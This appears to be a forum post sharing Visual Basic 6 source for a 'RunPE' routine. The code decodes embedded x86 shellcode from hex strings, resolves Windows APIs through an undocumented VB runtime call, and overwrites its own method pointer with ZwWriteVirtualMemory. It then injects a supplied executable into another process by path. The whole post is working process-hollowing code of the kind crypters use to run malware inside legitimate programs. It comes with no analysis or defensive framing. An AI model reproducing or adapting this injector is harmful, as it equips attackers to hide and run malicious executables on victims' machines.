[spoiler][code2=vbnet]Option Explicit

Private Type sAPICall
ptsLIB As Long
ptsProc As Long
lReserved As Long
lPointer As Long
lpBuffer(3) As Long
End Type

Private Declare Function PutMem Lib "C:\WINDOWS\SYSTEM32\NTDLL" Alias "ZwWriteVirtualMemory" (ByVal ProcessHandle As Long, BaseAddress As Any, pBuffer As Any, NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function GetAddr Lib "C:\WINDOWS\SYSTEM32\MSVBVM60" Alias "DllFunctionCall" (ByRef typeAPI As sAPICall) As Long
Private cnt As Long
Private ocnt As Long
Private fShellcode(&HFF) As Byte
Private Writen As Long

Public Function RunProc() As Long
End Function

Public Sub RunPE(ByRef ExeBuffer() As Byte, ByVal InjectPath As String)
Dim s_ASM(7) As String
Dim b_ASM(1287) As Byte
Dim i As Long
Dim j As Long
Dim k As Long
s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
For i = 0 To 7
For j = 1 To 322 Step 2
b_ASM(k) = CByte("&H" & Mid$(s_ASM(i), j, 2)): k = k + 1
Next j
Next i
CallAPI GetAddress("user32.dll", "CallWindowProcW"), VarPtr(b_ASM(0)), StrPtr(InjectPath), VarPtr(ExeBuffer(0)), 0, 0
End Sub

Public Function CallAPI(ByVal sAddress As Long, ParamArray Params() As Variant) As Long
Dim lPtr As Long
Dim i As Long
Dim sData As String
Dim sParams As String
If sAddress = 0 Then Exit Function
For i = UBound(Params) To 0 Step -1
sParams = sParams & "68" & GetLong(CLng(Params(i)))
Next
lPtr = VarPtr(fShellcode(0))
lPtr = lPtr + (UBound(Params) + 2) * 5
lPtr = sAddress - lPtr - 5
sData = "8B4C240851" & sParams & "E8" & GetLong(lPtr) & "5989016631C0C3"
For i = 0 To Len(sData) - 1 Step 2
fShellcode((i / 2)) = CByte("&h" & Mid$(sData, i + 1, 2))
Next i
PutMem -1, cnt, ByVal ObjPtr(Me), &H4, Writen
cnt = cnt + &H1C
PutMem -1, ocnt, ByVal cnt, &H4, Writen
PutMem -1, ByVal cnt, VarPtr(fShellcode(0)), &H4, Writen
CallAPI = RunProc
PutMem -1, ByVal cnt, ocnt, &H4, Writen
End Function

Private Function GetLong(ByVal slng As Long) As String
Dim sTemp(3) As Byte
Dim i As Long
PutMem -1, sTemp(0), slng, &H4, Writen
For i = 0 To 3
GetLong = GetLong & Right("0" & Hex(sTemp(i)), 2)
Next
End Function

Private Function GetAddress(ByVal sLib As String, ByVal sProc As String) As Long
Dim sAPI As sAPICall
Dim bvLib() As Byte
Dim bvMod() As Byte
bvLib = StrConv(sLib + vbNullChar, vbFromUnicode)
bvMod = StrConv(sProc + vbNullChar, vbFromUnicode)
With sAPI
.ptsLIB = VarPtr(bvLib(0))
.ptsProc = VarPtr(bvMod(0))
.lReserved = &H40000
.lPointer = VarPtr(.lpBuffer(0))
End With
GetAddress = GetAddr(sAPI)
End Function[/code2][/spoiler]